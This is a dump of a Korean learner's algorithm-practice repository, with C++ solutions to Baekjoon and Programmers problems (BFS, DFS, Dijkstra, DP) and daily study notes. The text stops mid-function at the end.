도시의 정보는 0, 1, 2로 이루어져 있고, 0은 빈 칸, 1은 집, 2는 치킨집을 의미한다. 집의 개수는 2N개를 넘지 않으며, 적어도 1개는 존재한다. 치킨집의 개수는 M보다 크거나 같고, 13보다 작거나 같다.
## 풀이
브루트포스 문제이다. 모든 경우의 수를 구하고, 각 경우에 대한 결과값을 이전 결과값과 계속 비교하면서 최소값을 구하면 되는 문제이다.
시간복잡도를 구해보자.
1. 치킨집 X(<=M)개 중 M개를 선택하는 경우 : xCm
2. 치킨집 1개를 선택할 때 마다 집의 이전상태값을 저장 및 복구하는 작업 : 2n (집의 개수*2회)
이때, xCm의 최대는 대략 2000이하 (13C6=1716)이고, 집의 최대 개수는 100이므로, 대략 2000*200 = 400,000 연산이 된다. 이는 문제를 해결하기에 충분한 시간이다.
먼저, 이차원 배열로 입력값을 받은 후, 각 배열의 위치(y,x)와 치킨집으로부터의 최소 거리값을 의미하는 dist를 상태값으로 가지는 구조체를 만든다.
~~~
struct Pos {
int y, x, dist = 2e9;
Pos(int y, int x) {
this->y = y;
this->x = x;
}
Pos() {}
};
~~~
재귀함수를 이용하여, m이하의 치킨집 중 m개를 선택하고,
치킨집 1개가 선택될 때 마다 각 집으로부터 해당 치킨집까지 최소거리를 저장하도록 한다. 이때 주의할 점은, 이전에 구한 최소 거리값과 계속 비교하면서 더 작은 값을 저장하도록 한다.
~~~
for (int i = idx; i < storeSize; i++) { //하나의 선택한 치킨집에 대해
copyTemp(backup, home);
if (used[i] == false) {
used[i] = true;
for (int j = 0; j < homeSize; j++) {
int diff = abs(home[j].y - store[i].y) + ab(home[j].x - store[i].x);
home[j].dist = home[j].dist > diff ? diff :home[j].dist;
}
dfs(cnt + 1, i + 1);
used[i] = false;
copyTemp(home, backup);
}
}
~~~
치킨집 m개를 다 골랐을 때, 각 집의 dist값은 집으로부터 가장 가까운 치킨집과의 거리가 되므로, 모든 집의 dist값을 더해주면 도시의 치킨거리를 구할 수 있다. 이렇게 각각 경우마다 도시의 치킨거리를 모두 구하고, 그중에 최소값을 구하면 정답이 된다.
~~~
if (cnt == M) { //치킨집 M개를 다 골랐을 경우, 도시의 치킨거리를 구해준다.
int sum = 0;
for (int i = 0; i < homeSize; i++) {
sum += home[i].dist;
}
ans = ans > sum ? sum : ans;
return;
}
~~~
## [소스코드](https://github.com/foreverever/baekjoon/blob/master/baekjoon/%EC%B9%98%ED%82%A8%EB%B0%B0%EB%8B%AC(15686).cpp)
## 부족한 부분
dfs 함수마다 집을 나타내는 배열의 이전상태로 돌아가는 부분에서 문제가 있었다. backup배열을 전역변수로 선언하다보니, 이전상태를 완전히 복구하는데 문제가 있었다. dfs함수 내에서만 유효한 값이므로, 반드시 지역변수로 선언하도록 하자!
또한, 경우의 수를 구하는 재귀함수의 반복문에서 자꾸 실수를 반복하고 있다. int i = idx에서 i를 통해 값을 바꿔줘야하는데 idx자체로 배열값을 변경하고 있다. (예 used[i] = false 를 used[idx]=false로 하는 실수를 범함;)
## 내일 할 일
- 삼성 알고리즘 2문제
- 이력서 준비
- 웹 공부<file_sep>/baekjoon/벽 부수고 이동하기(2206).cpp
#include <iostream>
#include <queue>
#include <algorithm>
#define MAX 1001
using namespace std;
struct Node {
int y, x, breaked;
};
int N, M, ans;
int arr[MAX][MAX], dist[MAX][MAX][2]; //벽을 안부순(0), 부순(1) 2가지 상태를 각각 가져야함
bool visit[MAX][MAX][2];
int dy[4] = { -1,1,0,0 };
int dx[4] = { 0,0,-1,1 };
Node start;
queue<Node> q;
void bfs() {
q.push(start);
dist[start.y][start.x][start.breaked] = 1;
visit[start.y][start.x][start.breaked] = true;
while (!q.empty()) {
Node cur = q.front();
q.pop();
for (int k = 0; k < 4; k++) {
int ny = cur.y + dy[k];
int nx = cur.x + dx[k];
if (ny < 0 || nx < 0 || ny >= N || nx >= M) continue;
if (visit[ny][nx][cur.breaked] == false) {
if (arr[ny][nx] == 0) { //다음 노드에 벽이 없을 경우
q.push(Node{ ny,nx,cur.breaked });
visit[ny][nx][cur.breaked] = true;
dist[ny][nx][cur.breaked] = dist[cur.y][cur.x][cur.breaked] + 1;
}
else { //다음 노드에 벽이 있을 경우
if (cur.breaked == 0) { //이전에 벽을 부수지 않은 경우
q.push(Node{ ny,nx,1 });
visit[ny][nx][cur.breaked] = true;
dist[ny][nx][1] = dist[cur.y][cur.x][cur.breaked] + 1;
}
}
}
}
}
}
void findAns() {
bfs();
int noB = dist[N - 1][M - 1][0];
int b = dist[N - 1][M - 1][1];
if (noB == 0 || b == 0) {
ans = max(noB, b);
}
else ans = min(noB, b);
}
int main() {
scanf("%d %d", &N, &M);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf("%1d", &arr[i][j]);
}
}
findAns();
if (ans) printf("%d", ans);
else printf("%d", -1);
return 0;
}<file_sep>/baekjoon/swea_오타(7853).cpp
#include <iostream>
#include <string>
#include <algorithm>
#define DIV 1000000007
typedef long long ll;
using namespace std;
int tc;
int calc(string s) {
int cnt = 1;
sort(s.begin(), s.end());
for (int i = 0; i < s.size() - 1; i++) {
if (s[i] != s[i + 1]) cnt++;
}
return cnt;
}
int findAns() {
string str;
ll ans = 1;
cin >> str;
if (str.size() == 1) return ans;
if (str[0] != str[1]) ans *= 2;
if (str[str.size() - 2] != str[str.size() - 1]) ans *= 2;
string tmp;
for (int i = 1; i < str.size() - 1; i++) {
tmp = "";
tmp += str[i - 1];
tmp += str[i];
tmp += str[i + 1];
ans *= calc(tmp);
ans %= DIV;
}
return ans;
}
int main() {
scanf("%d", &tc);
for (int t = 1; t <= tc; t++) {
printf("#%d %d\n", t, findAns());
}
return 0;
}<file_sep>/baekjoon/숫자 카드2(10816).cpp
#include <iostream>
#include <unordered_map>
using namespace std;
int N, M;
unordered_map<int, int> m;
int main() {
scanf("%d", &N);
int x;
for (int i = 0; i < N; i++) {
scanf("%d", &x);
m[x]++;
}
scanf("%d", &M);
for (int i = 0; i < M; i++) {
scanf("%d", &x);
printf("%d ", m[x]);
}
return 0;
}<file_sep>/TIL/Test.md
# TEST
## 공부 내용
## 부족한 부분
## 느낀 점
## 내일 할 일
- 자바 공부<file_sep>/baekjoon/프로그래머스_멀리뛰기.cpp
#include <string>
#include <vector>
#define DIV 1234567
using namespace std;
long long f[2001];
long long solution(int n) {
f[1] = 1;
f[2] = 2;
for (int i = 3; i <= n; i++) {
f[i] = f[i - 1] % DIV + f[i - 2] % DIV;
}
return f[n] % DIV;
}
//피보나치 수열 문제이다. n에 따른 결과값을 나열해야 그 규칙을 찾을 수 있었던 문제이다. 그렇지 못하면 절대 해결방법을 못찾았을듯..
//단, 수의 범위가 크기때문에, 1234567를 나눈 나머지값을 피보나치 배열에 저장하게끔 한다.
//(a+b)%c == a%c + b%c 가 성립하는 수학적(?) 특성을 이용해서 풀어야 한다.<file_sep>/baekjoon/더하기(10822).cpp
#include <iostream>
#include <string>
using namespace std;
string str;
int findAns() {
string tmp = "";
int ans = 0;
for (char c : str) {
if (c == ',') {
ans+= atoi(tmp.c_str());
tmp = "";
continue;
}
tmp += c;
}
ans += atoi(tmp.c_str());
return ans;
}
int main() {
cin >> str;
cout << findAns();
return 0;
}<file_sep>/baekjoon/조약돌 꺼내기(13251).cpp
#include <iostream>
using namespace std;
int M, K, total;
int stone[51];
double probability[51];
double ans;
void findAns(){
for (int i = 0; i < M; i++) { //각 스톤에 대해
if (stone[i] >= K) { //어느 한 종류의 스톤의 개수가 선택하려는 개수(K)보다 크거나 같을 경우에만
probability[i] = 1.0;
for (int j = 0; j < K; j++) {
probability[i] *= (double)(stone[i] - j) / (total - j); //한 종류의 스톤만 고를 확률
}
ans += probability[i]; //모든 스톤 각각에 대해 해당 스톤만 고를 확률을 다 더해준다.
}
}
printf("%.16f", ans);
}
int main() {
cin >> M;
int x;
for (int i = 0; i < M; i++) {
scanf("%d", &x);
stone[i] = x;
total += x;
}
scanf("%d", &K);
findAns();
return 0;
}<file_sep>/baekjoon/상근날드(5543).cpp
#include <iostream>
#define MAX 5
using namespace std;
int findAns() {
int hamburger = 2e9, beverage = 2e9;
int n = 0;
for (int i = 1; i <= MAX; i++) {
cin >> n;
if (i <= 3) hamburger = hamburger > n ? n : hamburger;
else beverage = beverage > n ? n : beverage;
}
return hamburger + beverage - 50;
}
int main() {
cout << findAns();
return 0;
}<file_sep>/baekjoon/프로그래머스_더 맵게.cpp
#include <vector>
#include <queue>
using namespace std;
priority_queue<int, vector<int>, greater<int> > q;
int first, second;
int solution(vector<int> scoville, int K) {
int answer = 0;
for (int val : scoville) q.push(val);
while (q.top() < K) {
if (q.size() == 1) {
answer = -1;
break;
}
first = q.top(); q.pop();
second = q.top(); q.pop();
answer++;
q.push(first + (second * 2));
}
return answer;
}
//오름차순인 우선순위 큐를 이용해 맨 앞과 두번째 앞을 추출하여 스코빌 지수를 계산해준다.
//계산 결과를 다시 우선순위 큐에 push해준다.
//위 과정을 반복한다.
//모든 음식이 K보다 높다는 뜻은 가장 스코필 지수가 낮은(큐의 맨앞) 음식이 K보다 높다는 것이므로
//q.top()<K를 조건으로 두어 while문을 종료하도록 한다.
//만약 마지막 음식 1개가 남았을 때(q.size()==1) K보다 작다면, -1를 리턴하도록 한다.<file_sep>/baekjoon/감시(15683)_2번.cpp
#include <iostream>
#include <memory.h>
#define UP 0
#define RIGHT 1
#define DOWN 2
#define LEFT 3
using namespace std;
struct CCTV {
int y, x, type;
CCTV(int y, int x, int type) {
this->y = y;
this->x = x;
this->type = type;
}
CCTV() {}
};
CCTV cctves[8];
bool used[8];
int direction[6] = { 0,4,2,4,4,1 };
int N, M, cctvSize, ans = 2e9;
int arr[9][9];
void copyArr(int to[9][9], int from[9][9]) {
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
to[i][j] = from[i][j];
}
}
}
//cctv 범위 갱신 (한 방향에 대해)
void update(CCTV cur, int dir) {
if (dir == UP) {
for (int i = 1; i < N; i++) {
if (cur.y - i < 0 || arr[cur.y - i][cur.x] == 6) return; //범위초과 or 벽을 만날경우 리턴
arr[cur.y - i][cur.x] = -1;
}
}
if (dir == RIGHT) {
for (int i = 1; i < M; i++) {
if (cur.x + i >= M || arr[cur.y][cur.x + i] == 6) return;
arr[cur.y][cur.x + i] = -1;
}
}
if (dir == DOWN) {
for (int i = 1; i < N; i++) {
if (cur.y + i >= N || arr[cur.y + i][cur.x] == 6) return;
arr[cur.y + i][cur.x] = -1;
}
}
if (dir == LEFT) {
for (int i = 1; i < M; i++) {
if (cur.x - i < 0 || arr[cur.y][cur.x - i] == 6) return;
arr[cur.y][cur.x - i] = -1;
}
}
}
void dfs(int cnt, int idx) {
if (cnt == cctvSize) {
//0개수 세기
int sum = 0;
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
if (arr[i][j] == 0) {
sum++;
}
}
}
ans = ans > sum ? sum : ans;
}
for (int i = idx; i < cctvSize; i++) {
if (used[i] == false) {
int backup[9][9];
memcpy(backup, arr, sizeof(arr));
used[i] = true;
CCTV cur = cctves[i]; //현재 선택된 cctv에 대해
for (int dir = 0; dir < direction[cur.type]; dir++) { //현재 cctv의 회전 경우의 수에 대해 맵 갱신
if (cur.type == 1) {
update(cur, dir);
}
else if (cur.type == 2) {
update(cur, dir);
update(cur, (dir + 2) % 4);
}
else if (cur.type == 3) {
update(cur, dir);
update(cur, (dir + 1) % 4);
}
else if (cur.type == 4) {
update(cur, dir);
update(cur, (dir + 1) % 4);
update(cur, (dir + 2) % 4);
}
else if (cur.type == 5) {
update(cur, dir);
update(cur, (dir + 1) % 4);
update(cur, (dir + 2) % 4);
update(cur, (dir + 3) % 4);
}
dfs(cnt + 1, i + 1);
used[i] = false;
memcpy(arr, backup, sizeof(arr));
}
}
}
}
int main() {
scanf("%d %d", &N, &M);
for (int i = 0; i < N; i++) {
for (int j = 0; j < M; j++) {
scanf("%d", &arr[i][j]);
if (arr[i][j] != 0 && arr[i][j] != 6) {
cctves[cctvSize] = CCTV(i, j, arr[i][j]);
cctvSize++;
}
}
}
dfs(0, 0);
printf("%d", ans);
return 0;
}<file_sep>/baekjoon/수들의 합(1789).cpp
#include <iostream>
typedef long long ll;
using namespace std;
ll N;
ll findAns() {
ll cnt = 0, num = 1;
while(N>=num){
N -= num;
cnt++; num++;
}
return cnt;
}
int main() {
cin >> N;
cout << findAns();
return 0;
}
//입력받은 N을 자연수 1부터 1씩 증가시키며 빼준다. (N이 0이 될 때 까지)
//빼고 남은 N의 값보다 다음에 빼줄 값이 더 큰 경우
//그 이전에 남은 N에 만족하는 값을 더해줘야 하는 의미이므로(이미 해당 개수는 더해줬으므로) 그때의 count값 리턴
//예) 200에 대해 1~18까지 합은 171이므로 남은 N은 29이며,
//29 - 19 = 10으로, 10(남은 N)은 다음에 빼줄 값 20보다 작으므로, 이전의 N인 29일때 29를 뺌으로써 최대 개수가 결정된다.
//이때 이미 19에서 count를 증가시켜줬기 때문에, 해당 count는 이미 계산한것으로 보고 바로 count를 리턴하면 정답이 된다.<file_sep>/baekjoon/지영 공주님의 마법 거울(11586).cpp
#include <iostream>
#define MAX 101
using namespace std;
char arr[MAX][MAX];
int N, K;
void input() {
cin >> N;
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
scanf(" %c", &arr[i][j]);
}
}
cin >> K;
}
void findAns() {
if (K == 1) {
for (int i = 0; i < N; i++) {
for (int j = 0; j < N; j++) {
cout << arr[i][j];
}
cout << '\n';
}
return;
}
if (K == 2) {
for (int i = 0; i < N; i++) {
for (int j = N - 1; j >= 0; j--) {
cout << arr[i][j];
}
cout << '\n';
}
return;
}
if (K == 3) {
for (int i = N - 1; i >= 0; i--) {
for (int j = 0; j < N; j++) {
cout << arr[i][j];
}
cout << '\n';
}
return;
}
}
int main() {
input();
findAns();
return 0;
}<file_sep>/baekjoon/연구실(14502).cpp
//#include <iostream>
//#include <queue>
//#include <utility>
//#define MAX 8
//
//using namespace std;
//int N, M;
//int ans = -2e9; //정답 (MAX값 찾기)
//int map[MAX][MAX]; //기본 맵
//int testMap[MAX][MAX]; //바이러스 유포 맵
//int dy[4] = { -1,1,0,0 };
//int dx[4] = { 0,0,-1,1 };
//
//void bfs(int i, int j);
//void findMaxNum();
//void virusStart();
//
////맵 정보 입력 함수
//void inputMap() {
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < M; j++) {
// cin >> map[i][j];
// }
// }
//}
//
////범위 체크 함수
//bool isNotInside(int i, int j) {
// if (i < 0 || j < 0 || i >= N || j >= M) {
// return true;
// }
// return false;
//}
//
////바이러스 유포 맵 갱신 함수
//void createTestMap() {
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < M; j++) {
// testMap[i][j] = map[i][j];
// }
// }
//}
//
////벽 생성 함수
//void createWall(int cnt) {
// if (cnt == 3) {
// createTestMap();
// virusStart();
// return;
// }
// else {
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < M; j++) {
// if (map[i][j] == 0) {
// map[i][j] = 1;
// createWall(cnt + 1);
// map[i][j] = 0;
// }
// }
// }
// }
//}
//
////바이러스 유포 시작
//void virusStart() {
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < M; j++) {
// if (map[i][j] == 2) {
// bfs(i, j);
// }
// }
// }
// findMaxNum();
//}
//
////BFS
//void bfs(int i, int j) {
// queue <pair<int, int> > q;
// q.push(make_pair(i, j));
// while (!q.empty()) {
// for (int k = 0; k < 4; k++) {
// int y = q.front().first + dy[k];
// int x = q.front().second + dx[k];
// if (isNotInside(y, x)) continue;
// if (testMap[y][x] == 0) {
// testMap[y][x] = 2;
// q.push(make_pair(y, x));
// }
// }
// q.pop();
// }
//}
//
////0의 개수 최대값 구하기
//void findMaxNum() {
// int num = 0;
// for (int i = 0; i < N; i++) {
// for (int j = 0; j < M; j++) {
// if (testMap[i][j] == 0) {
// num++;
// }
// }
// }
// ans = num > ans ? num : ans;
//}
//
////시작
//void start() {
// inputMap();
// createWall(0);
//}
//
////실행함수
//int main() {
// cin >> N >> M;
// start();
// cout << ans;
// return 0;
//}<file_sep>/baekjoon/최소비용 구하기(1916).cpp
#include <iostream>
#include <vector>
#include <queue>
#define MAX 1001
using namespace std;
int N, M, start, dest;
int from, to, cost;
int dist[MAX];
struct Node {
int number, cost;
Node(int to, int cost) {
this->number = to;
this->cost = cost;
}
Node() {}
};
struct cmp {
bool operator()(const Node &n1, const Node &n2) {
return n1.cost > n2.cost;
}
};
vector<vector<Node> > v;
priority_queue<Node, vector<Node>, cmp> q;
void findAns() {
q.push(Node(start, 0));
dist[start] = 0;
while (!q.empty()) {
Node cur = q.top();
q.pop();
for (Node next : v[cur.number]) {
if (dist[next.number] > next.cost + dist[cur.number]) {
dist[next.number] = next.cost + dist[cur.number];
next.cost = dist[next.number];
q.push(next);
}
}
}
}
void initDist() {
for (int i = 1; i <= N; i++) {
dist[i] = 2e9;
}
}
int main() {
scanf("%d %d", &N, &M);
v.resize(N + 1);
for (int i = 0; i < M; i++) {
scanf("%d %d %d", &from, &to, &cost);
v[from].push_back(Node(to, cost));
}
scanf("%d %d", &start, &dest);
initDist();
findAns();
printf("%d", dist[dest]);
return 0;
}<file_sep>/TIL/2018-09-03(알파벳_1987).md
# [알파벳(1987번)](https://www.acmicpc.net/problem/1987)
## 문제
***세로 R칸, 가로 C칸으로 된 표 모양의 보드가 있다. 보드의 각 칸에는 대문자 알파벳이 하나씩 적혀 있고, 좌측 상단 칸 (1행 1열) 에는 말이 놓여 있다.
말은 상하좌우로 인접한 네 칸 중의 한 칸으로 이동할 수 있는데, 새로 이동한 칸에 적혀 있는 알파벳은 지금까지 지나온 모든 칸에 적혀 있는 알파벳과는 달라야 한다.
즉, <U>같은 알파벳이 적힌 칸을 두 번 지날 수 없다.</U>
좌측 상단에서 시작해서, 말이 최대한 몇 칸을 지날 수 있는지를 구하는 프로그램을 작성하시오. 말이 지나는 칸은 좌측 상단의 칸도 포함된다.***
## 풀이
DFS를 이용한 전형적인 탐색 문제이다.
하나의 정점을 시작으로 특정 조건에 따른 최대(깊이우선) 경로를 찾아야 하기 때문에, BFS보다는 DFS가 적절하다.
DFS알고리즘은 보통 ```재귀함수```로 작성하는 특징이 있다.
깊이 우선 탐색 후, 어느 정점에서 더 이상 진행이 불가능 할 때, 백트래킹을 하여 이전 정점부터 다시 DFS를 진행하도록 한다.
방문 했던 알파벳이 존재하는 경우 두 번 지날 수 없기 때문에, ```방문 했던 알파벳을 저장하는 벡터를 따로 생성```하여 방문 여부를 판단 한다.
만약, 현재 정점에서 상하좌우로 더 이상 진행이 불가능 한 경우, 백트래킹을 실시한다. 이때, 이전 정점으로 정보가 되돌아 가므로, ```현재 방문 했던
알파벳 데이터는 벡터에서 pop하는 것```에 유의한다.
**변수**
- 보드판 배열(2차원)
- 방문한 알파벳 저장 벡터(char형 벡터)
- 경로 횟수 MAX값
**함수**
- 상하좌우 범위 체크 함수
- 방문가능 체크 함수(방문했던 알파벳 체크)
- DFS 함수 (파라미터 : y(위치 좌표),x(위치 좌표),cnt(해당 좌표까지 경로횟수))
- 최대 경로 횟수 구하는 함수(지금까지 방문한 경로 중 최대 경로 횟수 저장)
## [소스코드](https://github.com/foreverever/baekjoon/blob/master/baekjoon/%EC%95%8C%ED%8C%8C%EB%B2%B3(1987).cpp)
## 부족한 부분
재귀함수의 파라미터와 종료조건을 만드는게 생각보다 유연하지 않다.
재귀에 대한 이해와, 사용방법 등이 익숙하지 않다는 의미이다. 재귀 관련 문제를 많이 풀어보면 좋을 듯 싶다.
## 내일 할 일
- 알고리즘 1문제
- 자바 강의 듣기<file_sep>/baekjoon/나는 위대한 슈퍼스타K(2865).cpp
#include <iostream>
#include <algorithm>
#define MAX 101
using namespace std;
double participant[MAX];
int N, M, K;
void input() {
scanf("%d %d %d", &N, &M, &K);
}
bool cmp(double &first, double &second) {
return first > second;
}
double findAns() {
int num = 0;
double score = 0, total = 0;
for (int i = 0; i < M; i++) {
for (int j = 0; j < N; j++) {
scanf("%d %lf", &num, &score);
participant[num] = participant[num] < score ? score : participant[num];
}
}
sort(participant + 1, participant + N + 1, cmp);
for (int i = 1; i <= K; i++) {
total += participant[i];
}
return total;
}
int main() {
input();
printf("%.1f", findAns());
return 0;
}
//배열의 인덱스 : 참가자 번호, 인덱스 값 : 현재까지 최대 점수
//하나씩 입력받으면서, 해당 번호(인덱스)의 기존 점수(인덱스값)보다 클 경우 값 갱신
//모든 입력을 다 받았다면, 참가자 번호별 최대 점수를 구한 것
//내림차순 정렬
//배열의 맨 앞 부터 K번 째 값까지의 합이 정답
<file_sep>/baekjoon/계단오르기(2579).cpp
#include <iostream>
#include <vector>
using namespace std;
int N;
vector<int> v;
int dp[301];
void findAns() {
int x;
v.push_back(0);
for (int i = 0; i < N; i++) {
scanf("%d", &x);
v.push_back(x);
}
dp[0] = 0;
dp[1] = v[1];
dp[2] = dp[1] + v[2];
for (int i = 3; i <= N; i++) {
int one = v[i] + dp[i - 2];
int two = v[i] + v[i - 1] + dp[i - 3];
dp[i] = one > two ? one : two;
}
cout << dp[N];
}
int main() {
scanf("%d", &N);
findAns();
return 0;
}<file_sep>/TIL/2018-12-21(수정렬하기3_10989).md
# [수 정렬하기(10989번)](https://www.acmicpc.net/problem/10989)
## 문제
***첫째 줄에 수의 개수 N(1 ≤ N ≤ 10,000,000)이 주어진다. 둘째 줄부터 N개의 줄에는 숫자가 주어진다. 이 수는 10,000보다 작거나 같은 자연수이다.***
**제약조건**
시간제한 : 3초, 메모리 제한 : 8MB
## 풀이
정렬 문제라고 쉽게 생각하다가 큰코다친 문제이다.
처음에는 map을 이용하여 풀었다. key, value 각각 int타입이므로 합산 8바이트, 최대 10,000의 숫자를 포함하므로 8MB안에서는 충분히 해결할 수 있을 것이라고 생각했었다.
그러나, 메모리초과가 난다. 이는 배보다 배꼽이 더 큰 상황인 것이다. map은 내부적으로 레드블랙 트리를 사용하는데, 이는 노드마다 저장해야 하는 정보가 많기 때문에 int타입 하나를 저장하는 데에 그의 몇배 이상의 메모리를 필요로 한다고 한다.
두 번째로 배열을 이용한 counting sort를 사용해 보았다. 하지만, 이번에는 시간초과가 난다.(ㅎㅎㅎㅎ...)
해결방안을 찾던 중, 입출력을 cin,cout이 아닌, scanf,printf를 이용하면 기존 C++ 입출력보다 4배의 효율을 가질 수 있다는
[정보](https://stackoverflow.com/questions/1042110/using-scanf-in-c-programs-is-faster-than-using-cin)를 찾았다. 바로 수정한 결과, 2480ms의 시간으로 아슬아슬하게 통과했다.
좀 더 빠르게 해결할 수 있는 다른 방법을 찾아볼 필요가 있는 문제인 것 같다.
<***추가***>
iostream으로(cin, cout) 입출력을 사용할 때, ios_base::sync_with_stdio(false);를 사용하면 속도가 향상된다. (1736ms로 통과)
## [소스코드](https://github.com/foreverever/baekjoon/blob/master/baekjoon/%EC%88%98%20%EC%A0%95%EB%A0%AC%ED%95%98%EA%B8%B03(10989).cpp)
## 부족한 부분
해쉬맵
## 내일 할 일
- 알고리즘 1문제
- 웹 공부<file_sep>/baekjoon/가장 많은 글자(1371).cpp
#include <iostream>
#include <string>
#include <map>
using namespace std;
string str;
map<char, int> m;
map<char, int>::iterator iter;
void checkAlphabet(string &str) {
for (char c : str) m[c]++;
}
int findMaxNumber() {
int mx = -2e9;
for (iter = m.begin(); iter != m.end(); iter++) {
if (mx < iter->second) {
mx = iter->second;
}
}
return mx;
}
string findMaxAlphabet(int mx) {
string str = "";
for (iter = m.begin(); iter != m.end(); iter++) {
if (iter->second == mx) {
str += iter->first;
}
}
return str;
}
string calcMax() {
int mx = findMaxNumber();
string ans = findMaxAlphabet(mx);
return ans;
}
string findAns() {
while (1) {
cin >> str;
if (cin.eof()) break;
checkAlphabet(str);
}
return calcMax();
}
int main() {
cout << findAns();
return 0;
}<file_sep>/baekjoon/로프(2217).cpp
#include <iostream>
#include <algorithm>
#include <vector>
using namespace std;
int N;
vector<int> v;
void input() {
cin >> N;
int x;
for (int i = 0; i < N; i++) {
cin >> x;
v.push_back(x);
}
}
int findAns() {
sort(v.begin(), v.end());
int size = v.size();
int mx = -2e9;
for (int i = 0; i < v.size(); i++) {
int tmp = v[i] * (size - i);
mx = tmp > mx ? tmp : mx;
}
return mx;
}
int main() {
input();
cout << findAns();
return 0;
}
//작은 숫자는 자신보다(자신 포함) 큰 모든 로프를 사용해야 자체 최대값이 나옴
//그 다음 작은 숫자를 선택할때 자신보다(자신 포함) 큰 모든 로프를 사용해야 자체 최대값이 나옴
//위를 반복하며, 자체 최대값들 중 가장 큰 값이 정답<file_sep>/baekjoon/창영이의 일기장(2954).cpp
#include <iostream>
#include <unordered_map>
#include <string>
using namespace std;
string str;
unordered_map<char, bool> m;
char vowel[5] = { 'a','e', 'i', 'o', 'u' };
void input() {
getline(cin, str);
}
void initVowel() {
for (char c : vowel) m[c] = true;
}
string findAns() {
initVowel();
string ans = "";
int size = str.size();
for (int i = 0; i < size; i++) {
if (m.count(str[i])) {
ans += str[i];
i += 2;
continue;
}
ans += str[i];
}
return ans;
}
int main() {
input();
cout << findAns();
return 0;
}<file_sep>/baekjoon/키 순서(2458).cpp
#include <iostream>
#include <string.h>
#define TALL 1
#define SMALL -1
using namespace std;
int arr[501][501];
int ans;
int n, m, total; //학생수, 비교횟수, 나보다 키가 크거나 작은 학생 수
bool visit[501];
void dfs(int i, int height) {
for (int j = 1; j <= n; j++) {
if (arr[i][j] == height && visit[j] == false) {
visit[j] = true;
total++;
dfs(j, height);
}
}
}
int findAns() {
for (int i = 1; i <= n; i++) { //각 한명의 학생에 대해
total = 0;
dfs(i, TALL); //i번째 학생보다 큰 학생들 수
memset(visit, false, sizeof(visit));
dfs(i, SMALL); //i번째 학생보다 작은 학생들 수
memset(visit, false, sizeof(visit));
if (total == n - 1) ans++;
}
return ans;
}
void input() {
int x, y;
cin >> n >> m;
for (int i = 0; i < m; i++) {
cin >> x >> y;
arr[x][y] = SMALL; //x기준 y보다 작다
arr[y][x] = TALL; //y기준 x보다 크다
}
}
int main() {
ios_base::sync_with_stdio(false);
input();
cout << findAns();
return 0;
}
<file_sep>/baekjoon/땅문제_1.cpp
#include <iostream>
#include <vector>
using namespace std;
int solution(vector<int> v, int size) {
int cnt = 0, sum = 0;
for (int i = 0; i < size; i++) {
if (v[i]) {
cnt++;
sum += (i + 1)*cnt;
}
else cnt = 0;
}
return sum;
}
int main() {
vector<int> v = { 0,1,1,0,1,1,1,0 };
cout << solution(v, v.size());
return 0;
}<file_sep>/baekjoon/과제 안 내신 분(5597).cpp
#include <iostream>
#define MAX 28
using namespace std;
bool student[31];
void findAns() {
int x;
for (int i = 0; i < MAX; i++) {
cin >> x;
student[x] = true;
}
for (int i = 1; i <= MAX + 2; i++) {
if (!student[i]) cout << i << '\n';
}
}
int main() {
findAns();
return 0;
}<file_sep>/baekjoon/문자가 몇갤까(7600).cpp
#include <iostream>
#include <unordered_map>
#include <string>
#include <algorithm>
using namespace std;
unordered_map<char, int> m;
void init() {
for (char c = 'a'; c <= 'z'; c++) {
m[c] = 1;
}
}
int calc(string &str) {
int sum = 0;
for (char c : str) {
if (m.count(c) && m[c] == 1) {
sum++;
m[c]++;
}
}
return sum;
}
void findAns() {
string input;
while (1) {
getline(cin, input);
if (input == "#") return;
init();
transform(input.begin(), input.end(), input.begin(), ::tolower);
printf("%d\n", calc(input));
}
}
int main() {
findAns();
return 0;
}<file_sep>/baekjoon/최단경로(1753).cpp
#include <iostream>
#include <queue>
#include <vector>
using namespace std;
int V, E, K;
int dist[20001]; //index번호 노드까지 최단 거리
struct node
{
int number, weight; //목표정점, 해당 정점까지 최단거리
node(int to, int weight) {
this->number = to;
this->weight = weight;
}
//bool operator < (const node a)const {
// return weight > a.weight;
//}
};
struct cmp {
bool operator()(node t, node u) {
return t.weight > u.weight;
}
};
void initDist() {
for (int i = 1; i <= V; i++) {
dist[i] = 2e7;
}
}
vector<vector<node> > v;
void input() {
cin >> V >> E >> K;
v.resize(V + 1);
int from, to, weight;
for (int i = 0; i < E; i++) {
cin >> from >> to >> weight;
v[from].push_back(node(to, weight));
}
initDist();
}
void findAns() {
priority_queue<node, vector<node>, cmp> pq;
pq.push(node(K, 0));
dist[K] = 0;
while (!pq.empty()) {
node cur = pq.top();
pq.pop();
for (node next : v[cur.number]) {
if (dist[next.number] > next.weight + dist[cur.number]) {
dist[next.number] = next.weight + dist[cur.number];
next.weight = dist[next.number];
pq.push(next);
}
}
}
}
int main() {
input();
findAns();
for (int i = 1; i <= V; i++) {
if (dist[i] == 2e7) cout << "INF" << '\n';
else cout << dist[i] << '\n';
}
return 0;
}<file_sep>/baekjoon/오타맨 고창영(2711).cpp
#include <iostream>
#include <string>
using namespace std;
int N;
string findTypo(int idx, string &str) {
string tmp = "";
for (int i = 0; i < str.size(); i++) {
if (i == idx) continue;
tmp += str[i];
}
return tmp;
}
void findAns() {
int x;
string str;
for (int i = 0; i < N; i++) {
cin >> x >> str;
cout << findTypo(x-1, str) << '\n';
}
}
int main() {
ios_base::sync_with_stdio(false);
cin >> N;
findAns();
return 0;
}<file_sep>/baekjoon/음계(2920).cpp
#include <iostream>
#include <string>
using namespace std;
int x, y = 2e9, aCnt, bCnt;
string findAns() {
if (aCnt == 7) return "ascending";
if (bCnt == 7) return "descending";
return "mixed";
}
int main() {
for (int i = 0; i < 8; i++) {
cin >> x;
if (y + 1 == x) aCnt++;
if (y - 1 == x) bCnt++;
y = x;
}
cout << findAns();
return 0;
}<file_sep>/baekjoon/동전 0_2(11047).cpp
#include <iostream>
#include <stack>
using namespace std;
int N, money;
stack<int> st;
void input() {
cin >> N >> money;
int x = 0;
for (int i = 0; i < N; i++) {
cin >> x;
st.push(x);
}
}
int findAns() {
